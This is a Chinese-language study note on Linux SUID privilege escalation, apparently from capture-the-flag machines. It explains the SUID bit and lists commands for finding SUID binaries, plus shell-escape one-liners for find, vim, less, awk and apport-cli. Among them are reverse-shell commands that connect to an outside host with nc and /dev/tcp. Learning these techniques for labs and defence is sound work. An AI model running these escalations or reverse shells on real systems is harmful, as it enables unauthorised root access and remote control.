SUID
仅做学习记录用
SUID原理
SUID旨在解决如何让普通用户执行root才能执行的命令 对于这个bash而言
augustus@GoodGames:~$ ls -la bash
-rwxr-xr-x 1 augustus augustus 1234376 Sep 6 03:22 bash
这就是一个很普通的bash 权限列表也是常见的rwx 而且是一个很常规的用户bash 但是经过如下的操作之后就变成了一个可以SUID提权的bash
root@3a453ab39d3d:~# chown root:root /home/augustus/bash
root@3a453ab39d3d:~# chmod 4777 /home/augustus/bash
root@3a453ab39d3d:~# cd /home/augustus/
root@3a453ab39d3d:/home/augustus# ls -al bash
-rwsrwxrwx 1 root root 1234376 Sep 6 02:22 bash
先是将用户的这个bash所有者改为root 再赋予4777权限 4表示设置 SUID特殊权限 当文件被设置为SUID时 其他用户执行该文件时会临时拥有文件所有者的权限 777代表赋予其他用户可执行的权限
- augustus 对于这个bash有执行权限(777了)
- bash所有者为root
因此augustus用户可以执行这个bash 并使用-p参数即可以root来执行 至此完成SUID提权
augustus@GoodGames:~$ ./bash -p
bash-5.1# cat /root/root.txt
9e6c801a78a34c84067aabeef3737c03
搜集
两种不同的方法寻找 一种是直接匹配权限位是否带有s(或4开头)
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
另一种是用getcap命令查询特殊的SUID
getcap -r
最经常用的还是sudo
sudo -l
常用提权
find
# shell
find /etc/passwd -exec '/bin/sh' \;
# 反弹shell
find /etc/passwd -exec nc -e /bin/bash x.x.x.x port \;
find /etc/passwd -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;
vim
进入 vim 命令模式 通过 vim 拿到 shell
:set shell = '/bin/sh'
:shell
bash
赋予SUID权限之后
bash -p
less/more
在出现以下提示后 输入!ls 即可执行
WARNING: terminal is not fully functional
- (press RETURN)!ls
!llss!ls
CHANGELOG core maltrail-sensor.service plugins thirdparty
CITATION.cff docker maltrail-server.service requirements.txt trails
LICENSE h maltrail.conf sensor.py
README.md html misc
awk
awk 'BEGIN {system("/bin/bash")}'
apport
没崩溃文件那可以先制造一个
logan@devvortex:/var/crash$ sleep 20 &
[1] 2761
logan@devvortex:/var/crash$ kill -ABRT 2761
logan@devvortex:/var/crash$ ls
_usr_bin_sleep.1000.crash
[1]+ Aborted (core dumped) sleep 20
然后再进行利用
logan@devvortex: sudo /usr/bin/apport-cli -c /var/crash/_usr_bin_sleep.1000.crash
press V (view report)
!/bin/bash(直接输入 不用管屏幕显示的什么)